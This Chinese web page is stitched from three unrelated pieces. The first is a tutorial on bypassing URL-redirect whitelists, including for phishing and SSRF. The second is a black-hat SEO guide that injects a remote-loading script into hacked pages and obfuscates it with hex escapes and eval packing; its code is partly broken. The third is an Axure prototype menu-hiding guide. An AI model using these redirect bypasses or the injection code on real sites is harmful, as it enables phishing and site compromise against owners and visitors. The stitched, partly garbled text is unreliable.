家對URL任意跳轉都肯定了解,也知道他的危害,這里我就不細說了,過~
大家遇到的肯定都是很多基于這樣的跳轉格式
http://www.xxx.xxx/xxx?xxx=http://www.xxx.xxx/xxxxx
基本的思路大家就是直接替換后面的URL來檢測是否存在任意URL跳轉,如果不存在,就直接返回到它自己的域名,如果存在,就跳轉到你指定的URL,
這里我講述我所知道的所有小點。
0x01 利用問號繞過限制
利用問號,這是一個特性,利用問號可以成功繞過URL限制
比如:http://www.aaa.com/acb?Url=http://login.aaa.com 這是一個跳轉鏈接,跳轉到它的二級域名下,那么這個問號放哪里可以繞過呢?其實就是放到它自身的域名前面也就是你添加的想要跳轉的域名的后面,如:http://www.aaa.com/acb?Url=http://test.com?login.aaa.com 那么,它其實是會跳轉到這個test.com域名下,這個域名是我想要跳轉的任意域名,而后面的它自身域名一定要帶上,不帶上就無法輔助用問號?這個特性來跳轉到指定域名了,而跳轉后,問號和問號后面的內容會變為這樣:http://www.test.com/?login.aaa.com
0x02 利用反斜杠和正斜杠繞過限制
這個是我自己研究出來的,不知道是否網上有人說過。
比如:http://www.aaa.com/acb?Url=http://login.aaa.com/ 同樣是在它本身域名前加上正斜杠,然后正斜杠前面跟上你想跳轉的域名地址。
如:http://www.aaa.com/acb?Url=http://test.com/login.aaa.com
反斜杠有三種思路
兩個反斜杠繞過方法
比如:http://www.aaa.com/acb?Url=http://login.aaa.com/ 同樣是在它本身域名前加上兩個反斜杠,然后兩個反斜杠前面跟上你想跳轉的域名地址。
如:http://www.aaa.com/acb?Url=http://test.com\login.aaa.com
一個反斜杠繞過方法
如:http://www.aaa.com/acb?Url=http://test.comlogin.aaa.com
另一種思路,一個反斜杠一個點
利用.這樣的格式,也就是一個反斜杠加一個點來跳過限制,
如:http://www.aaa.com/acb?Url=http://test.com.login.aaa.com
0x03 利用@繞過URL限制
如果你用這方法在火狐里進行跳轉,會有彈窗提示,在其它游覽器則沒有。
如:<a href=”http://www.aaa.com/acb?Url=http://login.aaa.com@test.com“”>http://www.aaa.com/acb?Url=http://login.aaa.com@test.com 后面的test.com就是要跳轉到的域名,前面的域名都是用來輔助以繞過限制的。
0x04 利用白名單缺陷繞過限制
有的域名白名單限制是不全的,比如如果想利用一個跳轉,而這個跳轉是通用,在這個公司網站很多子域名等都可以跳轉,那么你買個域名也不算貴對吧。
為什么這么說呢,這個問題就是白名單限制不當,比如,當跳轉的域名包含這個網站下的所有域名,比如:http://www.aaa.com/acb?Url=http://login.aaa.com
這個login.aaa.com也可以改成aaa.com同樣可以跳轉對吧,因為白名單里只要有包含這個域名就直接成功跳轉。
那么當我在這個域名前面加上如testaaa.com,白名單里會檢查是否包含aaa.com這個域名,如果包含,就直接跳轉,而并沒有檢查這個域名的整個信息,然后可以利用這個問題,直接注冊一個testaaa.com這個域名就可以利用這個跳轉。
0x05 多重驗證&跳轉繞過限制
現在很多網站都有多重驗證,比如你登陸賬戶后會出現另一個驗證頁面,輸入手機驗證碼進行驗證,此時這上面的URL很可能存在任意跳轉的問題。
多重跳轉的問題導致可繞過URL限制
比如http://www.aaa.com/acb?Url=http: … ttp://login.aaa.com
當然,還有多重的,這個結構的多重跳轉你修改最后面的URL就可以達到任意URL跳轉,中間的URL就沒必要動了。
0x06 點擊觸發達到繞過URL跳轉限制
比如很多登陸頁面的地方,其URL是一個跳轉的URL
如:http://www.aaa.com/acb?Url=http://test.com
你直接修改了后面為任意URL,但是還是停留在原地,似乎沒什么問題,但是,當你輸入賬號和密碼后點擊登陸按鈕后,就會觸發跳轉。
當然,這個賬戶和密碼不一定要對的,隨便都可以,但得視系統而定吧。
這個我遇到了很多,比如你修改了域名,然后點擊登陸,登陸成功后便可觸發跳轉,這也是一個比較隱蔽的繞過URL限制的跳轉。
0x07 利用xip.io繞過
這個我還沒有在測試中應用過,其請求是http://www.127.0.0.1.xip.io 這個繞過是在SSRF場景中的繞過,比如SSRF你要讀取內網地址,一般都做了限制,可以嘗試用這方法進行繞過限制,從而訪問到內網。
另外一點,URL跳轉涉及的安全問題大家常見的就是釣魚,那么利用這個思路也可達成一個釣魚問題,如,http://www.qq.com.220.181.57.217.xip.io
當你訪問qq這個域名時,其實這個鏈接已經被解析到后面這個ip地址上了,那么實際訪問的就是后面這個IP地址。
0x08 利用超鏈接繞過可信站點限制
比如一個URL,它是可以直接跳轉的,但是一般測試跳轉時大家習慣用www.baidu.com或qq.com這樣的可信站點進行測試,但是有些網站是可以跳轉這些網站的。
只要是可信站點且常用,基本都可以跳轉,那么這就屬于正常的業務邏輯了,難度就這樣錯失一個URL跳轉漏洞了?
其實不然,只要你的URL被百度收錄過,那么直接搜索你的域名,site:xxx.xxx
因為你在百度里點擊你的域名,它會先是一個302跳轉,而這個302跳轉就是百度下的302跳轉,那么這樣就可以繞過可信站點的限制,從而達到跳轉到指定URL。
當然,百度這個302有點長,你給它進行加密就行。
0x09 POST參數中的URL跳轉
當然,這個影響就很小了,比如當你填什么表格或者需要填寫什么的,當你上傳圖片,點擊下一步的時候,通常下一步就是預覽你填寫的信息,最后才是提交。
當你上傳了圖片后點擊下一步抓包,如果過濾不嚴,你會看到圖片的完整地址包含在POST參數里,你就可以直接修改這個地址為任意URL,然后到達下一步。
這時是確定信息也就是預覽自己填寫的信息的正確還是不正確,由于你剛剛修改了圖片地址,這里是沒有顯示出來的,圖像會是一個小XX。
當點擊圖片右鍵選擇查看圖像時,就會觸發URL跳轉問題,其實這個也可以利用來進行釣魚,釣后臺審核員的信息。
為什么呢,比如審核看到圖片無法加載,一般都會點擊查看圖片,然后跳轉,如果安全意識不知就會造成安全影響。
當然,如果POST參數里就只是URL跳轉參數,那么你可以給它轉成GET方式,然后進行跳轉就可以了,只要網站支持這樣的GET方式就行。
在Burp Suite里可以一鍵轉換提交方式,右鍵選擇Change request method就可以!
0x10 利用#號繞過
如:http://www.aaa.com/acb?Url=http://test.com#login.aaa.com
小結,想找到任意URL跳轉問題,就不要光看表面,一個修改一個回車,不存在就不繼續深入了,這將永遠無法成長。
我總結了我對于URL跳轉繞過限制的一些小點,希望能夠幫助到大家!
原文地址:http://blog.xbbai.site/post-150.html
一些黑帽SEO要對跳轉的js代碼進行加密,學習JavaScript加密方式,當我們網站被黑時,看到這段代碼就明白這就是快照劫持的代碼,刪掉即可解決網站被黑問題。今天,錯誤博客(cuowu.com)分享的內容為《黑帽SEO教程為html中的js跳轉url加密》。希望對大家有所幫助。
JavaScript跳轉是黑帽SEO中快照劫持常見操作手法,比如在寄生蟲程序使用中,在被黑掉的html或php中增加如下代碼就可以完成快照劫持:
<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>
這段JavaScript代碼的作用是引入v6.js文件,v6.js文件中的內容為if判斷語句,如果訪問的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,則顯示劫持的快照內容,如果是用戶直接訪問瀏覽器則會顯示原頁面內容。
首先把上面的命令增加為如下:
window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;
然后,對前面雙引號內的內容進行16進制加密,后面單引號內容也同樣進行16進制加密,依次為:
\x64\x6f\x63\x75\x6d\x65\x6e\x74
\x77\x72\x69\x74\x65
\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73
這個可以用utf-8轉16進制加密在線工具即可。錯誤博客站長導航里面有。
站長導航(https://cuowu.com/daohang/)
加密完成后變為:
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
然后,把上述的js代碼再次補充一下才能正常運行,即:
<script type=”text/javascript”>
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
</script>
把中間window到</script>;的內容利用站長工具的JS混淆加密壓縮就可以得到eval加密形式,錯誤博客站長導航里面有。
站長導航(https://cuowu.com/daohang/)
獲得如下加密代碼如下:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
最終獲得的加密代碼如下:
<script type=”text/javascript”>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
</script>
這就是全部的js加密壓縮過程了,解壓過程反過來推就可以了。
以上就是錯誤博客(https://cuowu.com/)分享的內容為《黑帽SEO為html中的js加密(js混淆與16進制加密)》。感謝您的閱讀。更多原創搜索“錯誤博客”。
什么要隱藏Axure原型式需求文檔菜單列表?
很多時候產品經理輸出完原型圖生成HTML文件給到相應的開發、測試等小伙伴提前閱讀熟悉產品功能需求,然后再組織講解產品功能需求,但總有很多小伙伴們不認真聽需求講解,事后對需求理解存在偏差,根據自我對需求的理解進行設計開發,導致研發出來的產品與需求有差異,最后還甩鍋給產品經理沒有寫清楚需求、沒有講明白需求、看不懂需求文檔。
根據與開發、測試多年打交道的經驗總結,大部分的開發、測試都不太喜歡復雜的需求文檔,反而喜歡看原型圖以及圖中需求說明。
在產品迭代的過程中,為了保證產品需求文檔從0-1的完整性,方便新加入的產品經理、開發、測試快速熟悉產品、接手產品,所有的版本迭代記錄最好歸檔在一個Axure文件中。
那么問題來了:在版本迭代的時候即便我們做了需求導航,開發、測試小伙伴可以通過點擊導航直接跳轉至詳細的原型圖需求說明頁面(上一篇文章有介紹),但是開發、測試小伙伴往往會忽視需求導航,直接從HTML文件的菜單列表直接點開查看(如圖1),由于菜單列表太多他們根本看不懂、找不到迭代需求在哪里,這個時候我們就需要利用一些方法隱藏HTML文件左側的菜單列表,強制開發、測試等小伙伴通過版本迭代需求導航跳轉至原型圖需求說明頁面,這樣閱讀起來就非常方便快捷。
下面我將通過具體的操作步驟來講解如何隱藏HTML文件的菜單列表。
第一,Axure生成HTML文件時,選擇頁面只勾選需求目錄大綱,點擊生成。
第二,找到剛才生成的HTML文件并打開,找到data文件并打開,剪切這個js文件存放到桌面。
第三,再次用Axure生成HTML文件,選擇生成所有頁面并點擊生成到此前生成的HTML文件中。
第四,再次找到剛才生成的HTML文件并打開,找到data文件并打開,將此前剪切到桌面的js文件替換當前的js文件。
第五,最后打開Axure原型式產品需求文檔,就會看到效果如下圖不會再顯示左側菜單列表了。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。